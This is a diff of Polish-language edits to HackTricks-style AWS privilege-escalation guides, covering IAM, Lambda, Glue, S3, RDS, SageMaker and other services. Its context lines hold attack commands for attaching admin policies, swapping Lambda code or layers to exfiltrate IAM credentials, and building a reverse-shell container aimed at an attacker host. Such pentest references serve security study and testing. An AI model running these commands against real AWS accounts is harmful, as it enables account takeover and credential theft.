Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chciałbyś uruchomić w **ofierze**, zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
|
||||
Przede wszystkim musisz stworzyć **legitnym środowisko Beanstalk** z **kodem**, który chcesz uruchomić w **ofierze**, postępując zgodnie z **poprzednimi krokami**. Potencjalnie prosty **zip** zawierający te **2 pliki**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="application.py" }}
|
||||
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Gdy masz **własne środowisko Beanstalk uruchamiające** twoją powłokę rev, nadszedł czas, aby **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
|
||||
Gdy masz **własne środowisko Beanstalk uruchamiające** twój rev shell, nadszedł czas, aby je **migracja** do środowiska **ofiary**. Aby to zrobić, musisz **zaktualizować politykę Bucket** swojego koszyka S3 Beanstalk, aby **ofiara mogła uzyskać do niego dostęp** (Zauważ, że to **otworzy** Bucket dla **WSZYSTKICH**):
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
|
||||
@@ -51,7 +51,7 @@ Dzięki tym uprawnieniom atakujący może przejść do **AWS console**, utworzy
|
||||
|
||||
### `elasticmapreduce:OpenEditorInConsole`
|
||||
|
||||
Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nią związaną.\
|
||||
Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do **Jupyter Notebook i ukraść rolę IAM** z nim związaną.\
|
||||
URL notatnika to `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
|
||||
|
||||
> [!CAUTION]
|
||||
|
||||
@@ -22,9 +22,9 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
Dla celów stealth, zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
|
||||
W celu zachowania dyskrecji zaleca się użycie poświadczeń IAM z wnętrza wirtualnej maszyny Glue.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do roli usługi glue określonej.
|
||||
**Potencjalny wpływ:** Privesc do roli serwisowej glue.
|
||||
|
||||
### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
|
||||
|
||||
@@ -41,7 +41,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest
|
||||
# SSH with the glue user
|
||||
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli usługi glue.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi glue używanej.
|
||||
|
||||
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat IAM, sprawdź:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` poprzez użycie flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
|
||||
Przyznaje możliwość utworzenia nowej wersji polityki IAM, omijając potrzebę posiadania uprawnienia `iam:SetDefaultPolicyVersion` za pomocą flagi `--set-as-default`. Umożliwia to definiowanie niestandardowych uprawnień.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
@@ -85,7 +85,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id <cred
|
||||
|
||||
Pozwala na dołączanie polityk do użytkowników lub grup, bezpośrednio eskalując uprawnienia poprzez dziedziczenie uprawnień dołączonej polityki.
|
||||
|
||||
**Eksploatacja dla użytkownika:**
|
||||
**Wykorzystanie dla użytkownika:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -99,7 +99,7 @@ aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>
|
||||
|
||||
Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez przyznawanie dodatkowych uprawnień.
|
||||
|
||||
**Eksploatacja dla Roli:**
|
||||
**Eksploatacja dla roli:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
@@ -167,7 +167,7 @@ Gdzie polityka wygląda następująco, co daje użytkownikowi uprawnienia do prz
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Zezwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
|
||||
Pozwala na przesyłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co prowadzi do potencjalnej pośredniej eskalacji uprawnień.
|
||||
|
||||
**Eksploatacja przesyłania klucza SSH:**
|
||||
```bash
|
||||
@@ -188,7 +188,7 @@ Pozwala na resynchronizację urządzenia MFA, co może prowadzić do pośredniej
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Wpływ:** Pośrednie podniesienie uprawnień przez dodanie lub manipulację urządzeniami MFA.
|
||||
**Wpływ:** Pośrednia eskalacja uprawnień poprzez dodawanie lub manipulowanie urządzeniami MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
@@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-prov
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
|
||||
(Niepewne) Jeśli atakujący ma te **uprawnienia**, mógłby dodać nowy **Thumbprint**, aby móc zalogować się we wszystkich rolach ufających dostawcy.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
|
||||
@@ -118,7 +118,7 @@ Z funkcją Lambda powiązaną z strumieniem DynamoDB, atakujący może **pośred
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do roli usługi lambda określonej.
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do roli usługi lambda określonej.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał, aby **zmodyfikować kod istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
|
||||
Użytkownicy posiadający uprawnienie **`lambda:UpdateFunctionCode`** mają potencjał do **modyfikacji kodu istniejącej funkcji Lambda, która jest powiązana z rolą IAM.**\
|
||||
Napastnik może **zmodyfikować kod lambdy, aby wyeksportować poświadczenia IAM**.
|
||||
|
||||
Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie uruchomiona przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.
|
||||
Chociaż napastnik może nie mieć bezpośredniej zdolności do wywołania funkcji, jeśli funkcja Lambda jest już istniejąca i operacyjna, prawdopodobne jest, że zostanie wywołana przez istniejące przepływy pracy lub zdarzenia, co pośrednio ułatwi wykonanie zmodyfikowanego kodu.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -204,11 +204,11 @@ Na przykład, biblioteka boto3 jest ładowana z `/var/runtime/boto3` (4. pozycja
|
||||
|
||||
Możliwe jest nadużycie uprawnienia `lambda:UpdateFunctionConfiguration`, aby **dodać nową warstwę** do funkcji lambda. Aby wykonać dowolny kod, ta warstwa musi zawierać jakąś **bibliotekę, którą lambda zamierza zaimportować.** Jeśli możesz przeczytać kod lambdy, możesz to łatwo znaleźć, zauważ również, że może być możliwe, że lambda **już używa warstwy** i możesz **pobrać** tę warstwę i **dodać swój kod** tam.
|
||||
|
||||
Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z najnowszą wersją biblioteki:
|
||||
Na przykład, załóżmy, że lambda używa biblioteki boto3, to stworzy lokalną warstwę z ostatnią wersją biblioteki:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania powrotnego powłoki na przykład).
|
||||
Możesz otworzyć `./lambda_layer/boto3/__init__.py` i **dodać backdoora w globalnym kodzie** (funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki na przykład).
|
||||
|
||||
Następnie spakuj ten katalog `./lambda_layer` i **prześlij nową warstwę lambda** na swoje konto (lub na konto ofiary, ale możesz nie mieć do tego uprawnień).\
|
||||
Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby nadpisać /opt/python/boto3. Ponadto warstwa musi być **kompatybilna z wersją pythona** używaną przez lambdę, a jeśli przesyłasz ją na swoje konto, musi być w **tej samej strefie:**
|
||||
|
||||
@@ -65,7 +65,7 @@ aws lightsail open-instance-public-ports \
|
||||
--instance-name MEAN-2 \
|
||||
--port-info fromPort=22,protocol=TCP,toPort=22
|
||||
```
|
||||
**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych portów.
|
||||
**Potencjalny wpływ:** Dostęp do wrażliwych portów.
|
||||
|
||||
### `lightsail:PutInstancePublicPorts`
|
||||
|
||||
@@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \
|
||||
|
||||
### `lightsail:UpdateBucket`
|
||||
|
||||
Dzięki temu uprawnieniu atakujący mógłby przyznać własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
|
||||
Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu własnemu kontu AWS dostęp do odczytu koszyków lub nawet uczynić koszyki publicznymi dla wszystkich:
|
||||
```bash
|
||||
# Grant read access to exterenal account
|
||||
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
|
||||
@@ -115,7 +115,7 @@ aws update-container-service \
|
||||
|
||||
### `lightsail:CreateDomainEntry`
|
||||
|
||||
Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, a nawet ustawić główną domenę na swój własny adres IP.
|
||||
Napastnik z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na fałszowanie e-maili z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP.
|
||||
```bash
|
||||
aws lightsail create-domain-entry \
|
||||
--domain-name example.com \
|
||||
@@ -125,7 +125,7 @@ aws lightsail create-domain-entry \
|
||||
|
||||
### `lightsail:UpdateDomainEntry`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na podszywanie się pod e-maile z tej domeny, lub nawet ustawić główną domenę na swój własny adres IP.
|
||||
Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i skierować ją na swój własny adres IP (przejęcie subdomeny), lub stworzyć rekord SPF, który pozwala mu na fałszowanie e-maili z domeny, lub nawet ustawić główną domenę na swój własny adres IP.
|
||||
```bash
|
||||
aws lightsail update-domain-entry \
|
||||
--domain-name example.com \
|
||||
|
||||
@@ -27,7 +27,7 @@ aws mq list-brokers
|
||||
aws mq list-users --broker-id <value>
|
||||
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Dostęp do wrażliwych informacji poprzez nawigację w ActiveMQ
|
||||
**Potencjalny wpływ:** Uzyskanie dostępu do wrażliwych informacji poprzez nawigację w ActiveMQ
|
||||
|
||||
### `mq:ListBrokers`, `mq:UpdateBroker`
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Dzięki tym **uprawnieniom** i **dostępowi do VPC, w którym znajdują się bro
|
||||
```bash
|
||||
aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
|
||||
```
|
||||
Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia z Kafka publicznie** wystawionym. Jeśli jest publicznie wystawiony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
|
||||
Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie wystawiona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenia na dostęp do niej.
|
||||
Musisz mieć dostęp do VPC, ponieważ **nie możesz włączyć braku uwierzytelnienia przy publicznie udostępnionym Kafka**. Jeśli jest publicznie udostępniony, jeśli używane jest **uwierzytelnienie SASL/SCRAM**, możesz **przeczytać sekret** do uzyskania dostępu (będziesz potrzebować dodatkowych uprawnień, aby przeczytać sekret).\
|
||||
Jeśli używane jest **uwierzytelnienie oparte na roli IAM** i **kafka jest publicznie udostępniona**, nadal możesz nadużyć tych uprawnień, aby uzyskać pozwolenie na dostęp do niej.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS - Relacyjna Usługa Baz Danych
|
||||
|
||||
Aby uzyskać więcej informacji o RDS, sprawdź:
|
||||
Aby uzyskać więcej informacji na temat RDS, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji o RDS, sprawdź:
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie w bazie danych:
|
||||
Dzięki temu uprawnieniu atakujący może **zmienić hasło użytkownika głównego** oraz logowanie wewnątrz bazy danych:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,7 +27,7 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Będziesz musiał być w stanie **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
|
||||
> Musisz mieć możliwość **skontaktowania się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
|
||||
|
||||
**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych.
|
||||
|
||||
@@ -35,7 +35,7 @@ psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
|
||||
Zgodnie z [**dokumentacją**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) użytkownik z tym uprawnieniem mógłby połączyć się z instancją DB.
|
||||
|
||||
### Nadużycie uprawnień roli IAM RDS
|
||||
### Nadużycie uprawnień roli RDS IAM
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą:
|
||||
Jeśli miałeś **surowe poświadczenia AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w instancji.
|
||||
Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do wrażliwych danych** lub modyfikację danych w instancji.
|
||||
|
||||
> [!WARNING]
|
||||
> Instancja DB musi być poza klastrem, aby to zadziałało.
|
||||
|
||||
@@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
|
||||
|
||||
### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
|
||||
|
||||
Możliwe jest **zmodyfikowanie hasła głównego** użytkownika postgres (redshit) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):
|
||||
Możliwe jest **zmodyfikowanie hasła głównego** użytkownika internal postgres (redshit) z aws cli (myślę, że to są uprawnienia, których potrzebujesz, ale jeszcze ich nie testowałem):
|
||||
```
|
||||
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
|
||||
```
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Atakujący z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia.
|
||||
Napastnik z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia.
|
||||
|
||||
Na przykład, atakujący z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki:
|
||||
Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,7 +34,7 @@ Na przykład, atakujący z tymi **uprawnieniami do bucketu cloudformation** o na
|
||||
]
|
||||
}
|
||||
```
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** na swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**.
|
||||
I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** w swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejąć** **zawartość** tego **koszyka**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -111,7 +111,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Napastnik mógłby nadużyć tych uprawnień, aby **przyznać sobie więcej dostępu** do konkretnych koszy.\
|
||||
Należy zauważyć, że napastnik nie musi pochodzić z tego samego konta. Ponadto dostęp do zapisu
|
||||
Należy zauważyć, że napastnik nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Zacznij tworzyć notatnik z rolą IAM, aby uzyskać do niego dostęp:
|
||||
```bash
|
||||
@@ -21,7 +21,7 @@ Przejdź do adresu URL w przeglądarce i kliknij na \`Open JupyterLab\` w prawym
|
||||
|
||||
Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do roli serwisowej sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi sagemaker.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
@@ -52,13 +52,13 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
|
||||
Atakujący z tymi uprawnieniami będzie mógł utworzyć zadanie treningowe, **uruchamiając dowolny kontener** z **przypisaną rolą**. W związku z tym atakujący będzie mógł ukraść poświadczenia tej roli.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle rev shell lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego).
|
||||
> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle powłokę rev lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego).
|
||||
>
|
||||
> ```bash
|
||||
> # Utwórz obraz dockera
|
||||
> mkdir /tmp/rev
|
||||
> ## Zauważ, że zadanie treningowe będzie wywoływać plik wykonywalny o nazwie "train"
|
||||
> ## Dlatego umieszczam rev shell w /bin/train
|
||||
> ## Dlatego umieszczam powłokę rev w /bin/train
|
||||
> ## Ustaw wartości <YOUR-IP-OR-DOMAIN> i <YOUR-PORT>
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
@@ -90,12 +90,12 @@ aws sagemaker create-training-job \
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli serwisu sagemaker określonej.
|
||||
**Potencjalny wpływ:** Privesc do roli serwisu sagemaker.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Napastnik z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\
|
||||
&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._
|
||||
Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** z **przypisaną rolą**.\
|
||||
&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda to podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user